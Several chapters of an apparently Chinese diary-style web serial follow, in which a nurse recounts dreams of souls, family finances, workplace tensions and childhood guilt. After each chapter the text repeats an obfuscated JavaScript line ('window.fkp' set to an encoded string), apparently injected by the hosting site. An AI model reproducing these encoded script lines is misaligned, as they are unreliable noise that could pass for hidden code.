    而如果觉得老师讲的我，那就有可能人家意思就是我实力很烂却在好位置，有好牌但是打的够烂的意思。当然也许是分析，反正当时我没有听出来。没必要乱想。只是偶然想到。
    纠结来纠结去其实没有意思。茯神的效果很好，但是我好像并不想治好我自己。它可以让我的脑子更舒服，那种安神的也不用了。我也不知道我突然怎么了。好奇怪。
    富贵包，脖子后那一块好像很大。不舒服。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第388章

    梦境，梦里面第一个场景忘了，第二个场景，梦里面好像我灵魂里一个白色的女孩子到了什么人家里，梦里的我大的灵魂很累，快要消失了。旁边的小孩子一样的灵魂却什么都不懂，就是看着。
    然后然后第三个场景，出现了一个大一点的灵魂黑蓝色的，像一个孩子的灵魂，意思是大家都很想死亡，所以我们也只是满足了大家的心愿和抱怨而已，为什么要埋怨她呢？
    第四个场景梦境里一个白色的女孩子，很累，感觉到了她极致的暴躁，意思是难道这次死的是共产党？不晓得。意思是抱怨有很多东西自己人不去卖掉它换成资金，然后他们就放在那里，等别人偷掉了，瓜分掉了。因为自己去动，会被讲贪污什么的。
    然后第五个场景，是一个没有长牙的女孩子，她大概才十来岁已经成了好几个小孩子的妈妈。她张着很大的嘴巴，露出她满口没有长牙齿的嘴巴，然后一直在对着我笑。像魔鬼一样，但是没有感觉到她的可怕，而梦里的我无能为力。她就一直的笑，眼睛里没有任何的光芒，没有希望，也没有希翼。也没有文化，对她来说活着就是生孩子，生下的孩子她也不去管，因为也没有办法管，管了她的老公会打她，小孩子也不愿意听她的话，因为不尊重她，她没有文化。日子慢慢的就这样子过着，她像一个孩子被封印在那个躯壳里。满眼都是笑意。
    第五个场景，梦到了宝宝，宝宝在吃糖，不让她吃，她不愿意听，我也就没有管，我不想给她的童年带来阴影。因为小时候太过于严厉导致我太过于呆板，没有办法吃自己想吃的零食，所以我希望我的孩子会拥有快乐的童年，很多打之类，我都没有打，因为打了怕会有阴影。也懒得去教她各种生活技能，因为我也不会，我也怕拔苗助长，急于求成，适得其反。
    第六个场景，宝宝在贴什么头，我看到了那个贴的头。不过我不懂什么意思。很像漫画一样。
    第七个场景，梦到了一个好看的人，然后看到了一个猫，蓝色的猫，它还有一只小猫，梦里在爬一个楼梯，然后我在爬，然后大猫在旁边，我没有想爬那个楼梯了，不晓得啥意思？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第389章

    回家的路上，我在流眼泪。因为想到了什么。
    我的胸牌掉了。然后中午回家去找没有找到。回到单位说了。这种事，可以由小见大的就是我心不细，没有检点。可以由大到小就是没啥事！补办一个就可以了。
    后面同事问了我很多关于之前为什么没有在其他工作岗位待下来的原因，举了我工作如果把事情做砸的实话。然后她们说我可能也不适合在现在这个岗位待，因为也很辛苦很难，人家医生可能不愿意听你的。不服从管理。然后我就非常虚弱的问：她们是不是不喜欢我呢？她们说不是。然后就问老师，她们面对人家不服从管理怎么做呢？因为都是干一样的事。她们说她们不是管理者不会有这种情况，那我也不是管理者啊！为什么我要面对这种情况。
    心情复杂，我该怎么样才能干下去，我根本没有同别人相处的能力。与同事的相处能力。面对套话我就傻傻套了怎么办？没有那种脑子转的快分析灵活应对的能力怎么办？人家也没有办法去教你，家里人也没有办法教你。看书看视频也学不会啊！该怎么办哦！我的专业书都还需要好好背下来，还需要花好多脑子去想勾心斗角的事，有点子心累。
    而且我不知道是不是长疱疹了？复杂的感觉很多。
    为什么同事总是问我一些隐私的问题？比如存款多少？为什么要问这个问题？而且天天问，我一点也不想讲。为什么我不想讲，因为多了人家又会对你爆发攻击性，少了对方又在鄙视你。搞不懂。为什么要问为什么要问。知道了人家心里又不开心，不知道人家又一直问。如何才能学会糊弄文学？如何才能增长情商？
    为什么会认为对方不开心，每天都在抱怨。因为我也没有钱，我也在抱怨我老公没有拿钱给我存。但是我们结婚借了好多钱，我又没有拿出我的钱来还债。也没有存钱。所以其实我和她一样抱怨，所以才会这样子。
    我该怎么应对。存钱呗！留开自己必须要用的，其他的存掉。快过年了，还是要发红包。其他的存起来，家里老公的钱开销，等我们攒到三十万我们就去买房子。我也不知道会不会买？因为他害我一个弟弟，我们要想办法给他娶媳妇，可能攒到的钱要给他包彩礼。因为我们结婚也花了不少钱。然后还有宝宝上学。二胎和三胎，估计攒不到，但是可以试着去攒。攒起来的钱用到刀刃上，又不是不用。没有什么太大的意外的话，日子也就这样子慢慢过。
    毕竟我的人生并没有什么太多的财运。我对我老公，我老公对我，感觉都不算特别的信任。不晓得他以后还完了债会不会交钱给我存，交就存，不交就自己存。
    因为他有弟弟，他有可能会想要为弟弟付出，然后还有女儿。然后我也有弟弟，他可能会怕我把他的工资变成伏地魔。因为网上有这样子的事，就是他发现自己给老婆存的钱，都被老婆给大舅子用掉了。所以好麻烦。向我老公有弟弟，我不知道我心里介不介意。真的他从我兜里掏钱给弟弟用，我会不会不开心，还没有发生我就不把自己想的那么坏，因为高尚情操是有点子反人性的，如果我们掏了钱给弟弟用，那么宝宝会不会不开心，因为她都是我们两个生下来的，所有的存款给一个亲戚而不给自己的亲生小孩，她会不会对我们心生怨气，而且我们又不一定会只有一个孩子，命理里我还有两个儿子呢！
    加上弟弟就是三个孩子需要买车买房的，女儿崽也需要给一些钱，嫁妆，不然以后不好。
    想一想未来的人生就是一片灰暗。我不想换老公。也许换一个有钱的老公会解决缺钱的麻烦，但是解决了这个问题，不代表会没有其他问题。比如有第三者，比如公公婆婆相处不好，比如人家不接受我丢三落四的毛病，比如复杂的人际关系。这些让我头秃的事，我都不想面对。为什么不是因为爱老公而坚贞不渝？因为我们两个都很清醒。都是明白人。
    看到了说新冠类似于艾滋的文，刷的，不知道是不是这样子？真希望不是。真的是潘多拉魔盒，真恐怖。
    真希望那个糖尿病人好起来。愈合。虽然这是白日梦。
    不要想那么多。
    我们90后的婚姻有点子年轻，需要有生存能力，好好生活的能力，不管有爱情还是没有爱情都可以过的好。就像一篇小说里写的那样子，两个人互相喜欢，然后一起私奔，后面男的进了赌场，女的在等他被骗的一个故事。说明了好好学会挣钱的重要性，好好去生活的重要性。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第390章

    梦境，梦里面看到了一个奇怪的球在动一个灵魂。灵魂的上半部分是整体的，下半部分分裂开了，像触角一样，又像树根，她可能受伤了，难受。
    第二个场景，就是一个教室，教室里在问哪个同学拿果子吃，类似于姜丝或者烟丝一样的果子。后面出现了山。看天上出现了很多白色和灰色的雾。然后抬头望天，一片白茫茫。后面就是看到了一个蓝黑色的脑袋，像家公的，然后还看到了其他的脑袋，像一团红色的水蛭，他又有鼻子和脸。梦里他们两个都在不停的坏笑。
    梦里的我的状态也很糟糕。像没有什么力气一样。被什么东西附体了，那种东西像黑蓝色的触手。梦里的我好疲惫的感觉。
    梦里说要把什么还回去。梦里的我们都不愿意。不知道什么。
    醒来的我，醒来的我看到黑色的灵魂在脑子里，它说家公是骗子。然后另一半的脑子里，又有一团黑色的能量，在脑子里黑漆漆的坏笑。
    梦境里一个红色的灵魂说你裁掉了他们两个的缘分。不晓得讲的什么？他们是谁？昨天的梦境，我什么也没有干！就是看到了山，山上有雾。这啥意思？
    搞不懂。是未来还是现在呢？
    不清楚。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第391章

    梦境，梦里面是一对新人的蜡烛，那种结婚用的点了一夜。快梦醒的时候，有个灰色的女孩子叫醒了我，然后一个灰色的男的笑了笑。不懂啥意思。蜡烛还好看！就看蜡烛看了好多。除夕梦见这个有点子意外。难道意味着今年会更好的意思？
    吃了年夜饭。还行。年夜饭是叔叔和爷爷家吃的。他们的菜特别咸。汤比较淡。
    自己家婆做的中午饭，还好吃！酸菜鱼，好香。还有羊肉，反正家婆手艺好好。优秀。我吃了好多。弟弟找了很多鞭炮，然后他点鞭炮玩，家里的烟花没有看到，我明天值班，老公和家公送我到县城住，我还以为我老公会陪我一起结果他说他只是送我过来。当时我误会了在车上可感动了。知道了后心里有点子落差，不过也是送我过来也算有心了，毕竟一个多小时的车程也挺累的。
    还有几分钟就十二点了。不知道食堂有没有早餐，不晓得我是不是需要自己煮早餐吃。
    练了一会儿线条，墨水倒多了，搞得我写了一晚上都没有写完。下次要注意，不要那么多，写字确实挺好的，能够看得出来自己的心性如何，有点子佩服人家写字，明明那么软的笔还能写出笔锋来。
    羡慕！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第392章

    梦境。梦里面好像有谁进入自己的意识，看什么东西。梦里是好多字。好多的毛笔字。然后梦里的老人家不认识。
    他的样子看起来比较虚弱。也不晓得是干嘛？进我的意识空间拿什么东西吗？我也不知道为什么想到这个？发现我的意识里没有什么东西？老公的叔叔说老公的表妹可能过一段时间会来我们医院上班。表妹的家婆可能和某个医院的女院长是好朋友，她的家就在我们医院的旁边非常的近，几乎走路不用五分钟就能到的那种，听说那个院长说她去哪一个医院上班都可以。所以她选择了我们医院，因为离家近。
    然后就是吃年夜饭，不知道听到这个什么感觉。没什么感觉，人家有关系挺好的呀！至少很多事情更好立足。老公的叔叔，他们在做什么陷阱打猎。小年家公打了一只。小年那天我刚好做了莫名其妙的梦。是不是那天的我死掉了？因为看家里的那个灵魂有点子像。这件事也会是什么陷阱吗？不晓得？
    其实医院要是招护士，我要是知道消息，也可以推荐。不过人家有更好的人推荐那就还更好，是不是？我就懒得一下。
    最好的猎人都是以猎物的方式出现。管他呢！谁知道谁是猎人谁是猎物？
    这个梦，让我不爽的地方就是我感觉他们在我的脑子里拿东西！为什么我会认为他们在我脑子里拿东西？因为在翻我的记忆，这种有感觉，明显不正常。他们要拿什么东西？我关于学习的记忆力吗？拿掉了直接安在另一个人身上？然后一个刚毕业的人拥有几十年的工作经验？我真的是脑洞大开。还是我有被害妄想症？如果这样子他们都能过的话，世界不乱套了。但是真的很不爽有人家翻我的脑子。自己好好看书不行吗？
    中专护理，请叔叔给她争取到了大专的机会，婶婶叔叔叫她打了，马上打电话给男方，然后老公的爷爷帮她弄好了婚礼。因为很担心人家不负责任。谁知道他们怎么操作的，嫁的还好，比我就还好。房子又在县城，家婆还开好了店。你觉得人家过的好不好呢？还好。无纸条件还可以。精神条件的话，人家有那么胆子大。这是我难以想象的胆子大。所以人家过的好正常。管他呢？有机会也好。
    不过医院哪里都累。别人的推荐也就是一个敲门砖而已。工作做的好，还不是靠自己的努力，各种人际关系的打理。现在政府很多部门都需要各种考核。各种考核考的人头皮发麻。为什么？不就是怕有人有关系啥都不会就被塞进来了。
    接到了恶心，不接自己又怕被恶心。最好的处理就是好好培养，好好考核。如果是个好苗子，那我接到了也不亏，人家工作能力强，对单位也好。可以创造能力，人家工作能力有提升的空间，那培养了也不亏。至少以后是个人才。那如果怎么培养人家就是不合适，那么她就会自己受不了离开。谁喜欢日日当倒数呢？有一些单位员工提前退休就是因为受不了那么多考试。
    不晓得啥单位，就是听别人提了一下！实行到职工本人，个人感觉压力虽然大，但是我考编的机遇就在这里，因为我被虐习惯了，这压力变成了面对压力习以为常的感觉。所以说去年的我没有好好刷题，我觉得我可能脑子里进了什么鬼，在我的意识里这种思想不正常。但是我也没有办法拒绝它的入侵，只能单位要罚就罚吧！
    摊上了我有什么办法！
    我学习以前又还好，本来就有自己的方法。看了《自学大全》，发现别的人才的学习方法，我根本看不懂，所以这个世界是很多种解释的，就像人家讲的鸡蛋被打碎是食物，自己打碎是生命。所以我对过去努力的自己表示感谢。感谢曾经的自己会好好努力面对自己的困难。
    那以后的自己好好努力好好上班。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第393章

    中午午休梦境。梦里面不晓得啥。梦见了几团黑色的东西，然后就是一直在动，后面的话，我好像被同事叫醒了，然后又睡过去。好猛不晓得什么？
    早上走的时候，感觉到自己身边什么灵魂像黑色的脑袋一样，在转，然后说自己想死。她的表情很奇怪，她的样子也很年轻。中午的梦里面，就像一个很大的像南瓜一样大的脑袋女人的头，说自己可能想死了。反正也很平静。没有那种强烈的怨气什么的。
    后面的梦在点什么东西。
    初二的梦，在家婆的哥哥那里吃饭。中午睡着了。梦里面不知道梦到了什么？有一种伤心的女孩子的灵魂的感觉。难道表弟谈了女朋友？说的啥，不知道。梦里的我感觉有点子不舒服，那种感觉好像是把我送走的感觉。反正我也不懂。搞不懂她。究竟讲的啥都不太懂。无奈了。
    问了老公，表哥买房的一些事宜，他有点子不高兴。表哥才大我们两岁，就在县城买好了房子。首付十七八万的样子，如果现在也这个首付，我觉得攒，我还是有希望的。我又要住的离我的单位近一点，现在的离别的医院近，所以好大的风，吹的我车都跑了。装修难。
    回家，老公喝醉了酒睡了一下午，然后回去的路上很不舒服。后面回家了以后他吐了很久。脑子不清醒。后面我们吵了一架，我说他要是喝死了在路边，我肯定会埋的，他说我不应该这样讲话。后面好生气，难道我死了你不埋吗？后面吵了一顿。再然后和他聊天，表弟没谈成。
    具体原因不清楚。
    那个梦境，我的心情很不好。我也不记得啥了。好像把我卖给他舅舅家的意思。搞得我很不爽。
    反正很奇怪。姻缘很难。生活本来就很苦。要让别人不那么物质，真的也只有感情足够美好，不然谁会嫁给村里的人，特别是山也高，路也离县城远。生活一点都不方便。现在的女孩子教育程度也还好，所以让我很担心，以后的以后社会会不会不让女孩子读那么多书，只为了获取生育价值？
    我问老公的弟弟，以后他有侄子了，会不会把压岁钱给侄子买奶粉？他说不。搞得我好不开心，那么小的人。我要记着他。一笔，等他长大了告诉他。
    反正心情很不好。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第394章

    ，心情不好，但是感觉自己有点子作
    。可是我在表达什么。
    回娘家，顺便说了腿痛，摔了，然后老公带我去医院看，我们还拍了片子，没有伤到骨头，后面要花钱看，八十块钱tu一些药，然后我老公没有出这笔钱，说上次他也这样子摔到了，然后就自己好了，后面伤口虽然愈合了但是腿就是痛不舒服。
    那段时间全家一起不舒服。家公摔到了手住院，我想要表达什么呢？我比较衰，我不适合所有人，想在哪一个地方安静的活着，慢慢的死去？不知道。
    最近看到了什么，那个灰色的灵魂好大，我的脑子好像在劝导什么？我没有感觉到吃力。我不记得劝了啥。
    选择过另一个人就会过的更好吗？肯定过不好啊！自己什么德行还不是知道。那为什么又要讲那些让其他人不开心的话，讲出来让大家一起不开心。我也不知道我的目地会是什么？
    想要买房子，以前我没有想要买房子，因为我有房子住，单位帮我申请了人才房，也合适，后面不知道为什么想要买房子。
    因为老公堂妹有房子，表哥也有房子。而我的人才房子，我家公说不好，我家婆也说不好。他们说了我就想买房子，他们没说我根本没有这个想法。毕竟老公有弟弟。家公家婆又讲了，对不对？你不讲屁事没有，你讲了那就买。
    特别烦。
    比我一个人更烦。
    家公的意思说我的命是这样子，嫁给我老公。但是他不买房子。那我怎么办？每天回家就躺着打游戏。以后我们还会有两个儿子。想一下子就未来不美好了。
    我嫉妒心很重。他堂妹的家，离我们单位很近，过着我梦寐以求的生活，而且她有关系，她以后能进我们医院。我一开始上班的时候都是在诊所在乡下，然后好不容易才进了城里，考过来。然后我努力熬了很久的过程人家一下子就可以有了。
    我确实很难过。如果人家有关系有背景过的好，不是我亲戚，我会觉得没啥，这是人家的命运。但是当知道她是我亲戚的时候我就不平衡了。我就心里非常不爽了。我不喜欢这样子的不爽，但是我不理解为什么不爽？就像别人对我不爽一样。
    迫切的想要买房子。家公家婆没有提这件事真的没有一点想法，因为人才公寓，离学校很近，以后宝宝上学小学初中高中都很方便。
    我弟弟的学习好差，大弟弟。上了高三，只有半年了，之前还说等他到了高三给他做饭吃。妹妹高三的时候我送了好多回。弟弟也一样。我也不知道我在干嘛！他自己说一点子信心也没有。
    如果爷爷奶奶挂了，我爸爸残疾人，我妈妈可能会去工地上班，我弟弟顶不起，妹妹上学，都不晓得怎么办？所以心情很复杂。如何才能让他支凌起来？这不是我一个嫁了的女儿该操心的事情。
    可是我的心情很复杂。和他聊天他的鼻涕流的很多，他小时候被我打的很惨。和他讲话他也是在发抖。心理阴影？不晓得，我忘了。
    那个时候他可能两岁？三四岁吧！因为他被带更大一点才回的家，在妈妈身边待的更久。然后我们两个抢电视看，后面就直接干，那个时候的心情很不好。《笑着活下去》电视，后面就看的这个，不停的哭。后面我告诉奶奶我打了他。那个时候家里人都出去了，就只有我还有弟弟，还有一个邻居家的弟弟。打完了才平静下来，然后邻居家的弟弟也很害怕说我好可怕。我和他抢电视只是一个导火索。潜在的是爷爷奶奶更喜欢他了，没有喜欢我。自从他出身就感觉到了，只是没有讲。妹妹出生我没有这样子，他出生就会。
    不知道什么感觉。后面虽然过了很久，这件事对我来说也是一个伤害。因为后面我面对喜欢的人，我始终坚定的认为我有病，需要医生看，怕自己遗传这个基因下去。后面很久才接受这个事。
    后面有了二弟，我打二弟打的更狠。打弟弟不知道是不是我的人生魔咒，我就那么喜欢打弟弟吗？不晓得。
    以后我有了自己的儿子我会打他吗？我会不会重男轻女，对女儿没有那么好呢？
    女儿会不会讨厌妈妈呢？如果她不讨厌，我配得上这么好的女儿吗？如果她讨厌，我怎么应对？放任不管？
    我不知道怎么应对？教育小孩子的书，我有，我懒得看，也懒得学。我怎么变成这样子的大人了？
    我好胖。我不喜欢我的胖。我喜欢自己吃胖来，因为我姑姑那个时候太瘦了，她是因为被她老公打过，后面瘦了，奶奶希望她胖点，幸福一点。而我结婚了，我始终死记这个理，胖点更幸福。但是我不觉得我胖舒服。
    虽然我老公没有嫌弃我胖，家婆家公都没有。但是穿衣服难，感觉自己全身都是肉，硬硬的。我没有动力减肥。上次减肥的动力是难过。
    因为自己喜欢的人喜欢瘦的，而越来越难过，就没有胃口吃饭。因为自己怎么努力也达不到自己想要的样子，除非像白骨精一样换一具身体过日子，因为我今天觉得这个女孩子好美，明天觉得那个女孩子好美，各有各的特色。环肥燕瘦。但是始终不是自己的样子好看。所以知道自己的特点。没办法。
    但是我需要瘦一点，瘦下来，穿衣服很方便，而且快，而且有肌肉也是一件很好的事，说明身体有力量。身体不是沉重的感觉。身体是灵魂的住所。我希望我的住所是快乐的。
    我最近总感觉我的身体里住了好多黑色的东西，很重的感觉。不知道啥？
    昨日之梦，梦到了一个学校，然后我躺在一个地方醒来，有一个男的在旁边我叫他爸爸，他说我爸爸叫谢昀。然后我就看着他，然后就睡过去了，后面就是我从这个梦醒来，但是我感觉这个人不是我，是另一个小孩子的梦。但是搞不懂为什么会有这个梦，其他的内容忘了。反正还有其他的东西，但是那些太模糊了。记不到。
    有这么一个人吗？有我也记不到啊！
    突然想到了我弟弟。我弟弟以前他学习蛮好，那个时候他初中，灵魂也是红彤彤的，然后很大的红色，很温暖的灵魂感觉，然后他还非常的谦虚，看到他的那种感觉，就觉得这个人还不错。就是光看他这个灵魂的感觉，不看他是我弟弟的感觉。后面，初三他学习就不好了，不知道为什么？我觉得我看他那天，并没有对他有很强烈的讨厌的能量。
    后面回去有点子气，但是很淡，不会说恨的发疯的感觉。因为对他好，对我也好啊！等我妈妈老了，我更轻松啊！吃饱了撑的不好啊！
    今天的他感觉到的是很奇怪的样子，看他的精神世界是一个大的圆球，有银色和黑色的光芒，它说你不知道什么原因吗？然后我看到了。但是不理解什么意思。我只是对弟弟说那是他的精神世界，他眼睛里的我只是他内心的投射。其实这也是忽悠，我也不知道他看到了我什么？因为我有那么一瞬间看到了他看到的我，黑漆漆的，很生气的感觉，和妈妈聊天我也是这样子，黑漆漆的，好像很浓郁的感觉。黑色，但是又被什么包裹住了的感觉，就是自己很不开心，但是又被好好的控制住了，但是还是不开心。并没有解决我的不开心。后面和大家聊天也是，满口都要种田，那种状态也是一个很大的黑色的脑袋，住在我这里。不知道这是精神能量，还是梦境里的东西，总感觉什么东西进入了我的精神世界，但是不晓得它是什么？
    还有和弟弟聊天，他高三了，我想做东西给他吃，但是又和他说我担心做的不好，导致他拉肚子。说那句话的时候看到了像漂动的三角形一样的人的灵魂影子。然后她说的那句话像一团黑色的什么东西一样。
    这个灵魂我在老院的走廊看到过，那个应该也是梦，那个梦境里有一个漂亮人正在向我走来，然后她那个时候就出现了，起了很多奇怪的东西，阻止了他的脚步，然后我就醒了正好看到了她也看到了那个人，后面我就知道了什么？其实我也不知道什么。反正没有强求，毕竟那么奇怪而且麻烦。可是这次她出现的意思是什么？我想做饭给弟弟吃。其实我也不知道好不好。
    用心了就行吧！
    其实以前我说过我给妹妹也送了高中餐她拉肚子了。那个时候还和老公讲过，其实自己心里面一点都不希望她上很好的学校，特地做了拉肚子套餐给她，然后又让她感谢我。但是真实世界里的我并没有这样子想过。而且我真心希望她考好的，她那个时候的状态也确实紧张，她的目标是985-211，没考到确实很遗憾。但是她现在也很不错。但是我不知道为什么那次我要这样子讲？为什么要做一个坏形象呢？即使我根本没有这样子想过？
    这是我不理解的我。很奇怪的我。这种事出现过两三次。那个时候我根本阻止它那种想法出现的办法。认知能力不足？
    不知道。动机是什么也不知道。很奇怪的想法。不理解。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第395章

    继续说我弟弟吧！我弟弟今天说自己想要进厂，然后他说的时候，看到了白色的东西附在了他这个角色上。然后那个白色的灵魂在他脑子里笑，而且说自己不想要娶老婆。
    但是不知道这是什么意思？这让我想起了我同事讲过的话，她说她是一个早产儿，然后家里的父母亲因为她体重轻怕她养不活，所以很想把她扔掉，但是后面又养活了，后面她有了弟弟，她对妈妈很不喜欢的那种，每次提起妈妈都非常的不开心，她自己本身很优秀，然后很优秀，别的不想讲。后面她说她弟弟的事。我不晓得自己是不是听的太入迷，把她对她弟弟的一些评价，弄到我弟弟上了，我怕这个。
    她说她弟弟很差，不好的评价，但是她妈妈仍然很喜欢弟弟。很喜欢她弟弟的孩子，她弟弟混的一般般，没有她那么好，但是她还是很难过，因为妈妈不管她做的再好，还是喜欢弟弟，爱护她弟弟。总之别人的吐槽。
    我想起这个，因为我怕我和她一样吐槽我弟弟。如果我去吐槽我弟弟的人生会怎么样呢？
    我弟弟他很得大家喜欢。爷爷奶奶爸爸妈妈都喜欢他，因为喜欢他而忽视了我。自从有了他的存在，我爱看的动画片一开始，我们都爱看，后面他大了我坑不到了，就是看他爱看的动画片了，非常的沉默伤心。但是这些我都没有发出来。后面我已经很大了，我看的电视是更加娱乐一点的，我们的电视机其实有三台，后面因为一些事而只能看一台，后面我就不让他，其实我应该让他，但是我没有让他，我对不让他的我很失望。那个时候看到了那种灵魂的颜色，好像附着在什么地方，这让那个时候的我很害怕，那种东西像灰色的虫子一样，但是我不知道那是什么。
    后面就是弟弟在笑。他那个时候笑的样子，像一个灰色和银色连了很多线的大脑袋。但是他又是一个孩子。后面他就从房间出去了。笑眯眯的那种。后面我就忘了那件事。
    然后就看娱乐节目。其实我没有看懂，一开始我是会分析的。后面不知道为什么不分析了。再后来就不看了。但是不知道这件事是什么意思。
    后来就是结婚的事情，弟弟他这个角色，他在这个时间里是帮我的，在另一个时间里又是给我搞事情的。总之这个人也许他是好的吧！好像看懂了，又好像不理解。
    以前的时间段，他是有皮肤病，然后去看，后面看好了，后来就看到了他的皮肤身体的一个空间一样，看到了很多黑色的一团团的东西包裹着他的灵魂，这不知道是不是皮肤病病毒的灵魂，因为那个能量很奇怪，很多生气的东西。但是又看不太懂。后来就让他去医生那里看了，因为我只是看到了又看不懂。后面他的皮肤好了。后来我就没有关注他了。
    现在去看他的脸，脸上看不出来什么。因为那种皮肤病没有了，但是印堂有坑，小小的，然后有黑痣。我的印堂也有黑的苍蝇屎，点了一次，它又会有个苍蝇过来拉屎，索性就不点了。
    以前额头有一个痣意思就是不回家的意思。因为家让人很难受。想攒钱工作休息也不想回，后面点了它，我就会回家，但是基本上都是和我讲相亲的事，所以后面也就知道了，那个不想回家的黑点代表什么意思？不想回去相亲嫁人。那个时候的我不理解不懂。
    但是我不知道他的什么意思？但是每个人都有每个人的经历需要去成长的事情，也许这是好事，也希望他会有好的路程。
    我妈妈老是说她五十大寿我给她买了衣服，我根本没有给她买衣服，记错了吧！而且我应该没有回家。不晓得在上班，还是做什么？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第396章

    睡不着，也快天亮了，梦境，昨天没有梦境，就是感觉到了灰色的能量在笑。这种状态我也不知道好还是不好。
    突然想到了老公的表弟，表弟的爸爸舅舅，让我给他介绍女朋友，而且很想介绍我们医院的。我直接拒绝了。而且把自己的形象弄的很糟糕。他家农村，没有房子。有一辆车，职业不知道是什么？讲了我也没有认真听，平时见不到，就过年打声招呼，叫了句嫂子。然后只知道96年的。其他的一概不知。
    初二在他家睡了一下午，梦里面大概的意思就是潜意识认为我是花钱买的。我不知道梦里的我是不是他的缘分？还是在他家的印象里我是老公家买来的。不舒服。然后看他的样子，他的状态是白色的，不是红色的。我看到了红色的小孩，跑不过去。
    然后就是吵架，想追着他骂一顿。
    我也不晓得为什么？
    我不想给他做介绍，因为我社恐。就我这个德行，几乎没有朋友。我也不想要朋友，因为我会给朋友添麻烦。如果人家很好的妹子，知道你和她交好只为了把她介绍到山沟沟里去，过苦日子，她之后恨不得把我扒皮抽筋。因为表弟他姐姐就帮我和老公做了介绍，我每次心情不好，我就恨不得骂她八百遍。仍不解气。我家公对我姑姑也是恨之入骨。一开始天天讲她，因为很讨厌我。后面我们都麻木了。但是不代表我们的日子就过的更好了。只是我们习惯了。
    又好气又好笑。但是没办法。生活就是那么奇葩。我不想给他介绍，将心比心，我怕被骂。为什么不叫他姐姐帮忙呢？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第397章

    问了亲戚几个问题。没有回我。第一次觉得给人做介绍是一个很难的事。
    我还没有做呢？只是问了几个简单的问题。人家还没有回答上来，我就已经开始头秃了。
